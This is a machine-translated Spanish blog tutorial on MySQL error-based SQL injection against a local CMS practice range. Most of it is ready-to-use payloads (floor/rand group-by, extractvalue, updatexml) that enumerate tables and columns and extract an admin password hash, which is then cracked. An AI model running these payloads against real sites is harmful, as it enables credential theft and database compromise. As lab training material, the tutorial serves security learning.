Inyección de errores de MySQL

Inyección de errores

En el proceso de juzgar el punto de inyección, se descubre que el mensaje de error de la declaración SQL en la base de datos se mostrará en la página, por lo que el mensaje de error se puede utilizar para la inyección.

El principio de la inyección de errores es ejecutar declaraciones SQL en mensajes de error. Hay muchas formas de provocar un error y los detalles específicos son diferentes. Aquí se recomienda memorizar la fórmula directamente y reemplazar la parte 1 = 1 con la cinta de fórmulas.

Método común

agrupar por

?id=33 and (select 1 from (select count(*),concat(0x5e,(select database()),0x5e,floor(rand()*2))x from
information_schema.tables group by x)a)

?id=33 and (select 1 from (select count(*),concat(0x5e,(select password from cms_users limit
0,1),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)

extraer valor

?id=33 and extractvalue(1,concat(0x5e,(select database()),0x5e))
?id=33 and extractvalue(1,concat(0x5e,substr((select password from cms_users),17,32),0x5e))

actualizarxml

?id=33 and updatexml(1,concat(0x5e,(select database()),0x5e),1)
?id=33 and updatexml(1,concat(0x5e,(select substr(password,1,16) from cms_users),0x5e),1)
?id=33 and updatexml(1,concat(0x5e,(select substr(password,17,32) from cms_users),0x5e),1)

entorno del caso

Entorno PHP: phpstudy20261103.exe

Rango: cm

Dirección de colección: Enlace: https://pan.baidu.com/s/1OeEMML4GRCsbC4LpQK9KoA?pwd=jap0
Código de extracción: jap0

Obtenga la contraseña de la cuenta del administrador en segundo plano del sitio web

La dirección con inyección SQL en el campo de tiro cms: http://localhost/cms/cms/show.php?id=33

Nota: la longitud de la cadena concatenada por la función concat() es de solo 31 dígitos, por lo que debe usar substr para interceptar el resultado y luego obtener toda la información reemplazando el subíndice interceptado.

Chaku

?id=33 and updatexml(1,concat(0x5e,(select database()),0x5e),1)
或者
?id=33 and extractvalue(1,concat(0x5e,(select database()),0x5e))

imagen-20230823125131453

tabla de verificación

-- 查询从1到31的字符
?id=33 and extractvalue(1,concat(0x5e,(select substr(GROUP_CONCAT(table_name),1,31) from information_schema.tables where table_schema = database()),0x5e))

-- 查询从31到61的字符
?id=33 and extractvalue(1,concat(0x5e,(select substr(GROUP_CONCAT(table_name),31,61) from information_schema.tables where table_schema = database()),0x5e))

imagen-20230823125059304

campo de verificación

?id=33 and extractvalue(1,concat(0x5e,(select substr(GROUP_CONCAT(column_name),1,31) from information_schema.COLUMNS where table_schema = database() and table_name = "cms_users"),0x5e))

imagen-20230823130952216

Comprobar datos (contraseña)

?id=33 and updatexml(1,concat(0x5e,(select substr(password,1,16) from cms_users),0x5e),1)
?id=33 and updatexml(1,concat(0x5e,(select substr(password,17,32) from cms_users),0x5e),1)

Contraseña de 1 a 16 dígitos

imagen-20230823131052287

e10adc3949ba59ab

Contraseña de 17 a 32 dígitos

imagen-20230823131146698

be56e057f20f883e

Contraseña de empalme: e10adc3949ba59abbe56e057f20f883e

descifrado cmd5:

imagen-20230823131325785

Supongo que te gusta

Origin blog.csdn.net/weixin_46367450/article/details/132460996
Recomendado
Clasificación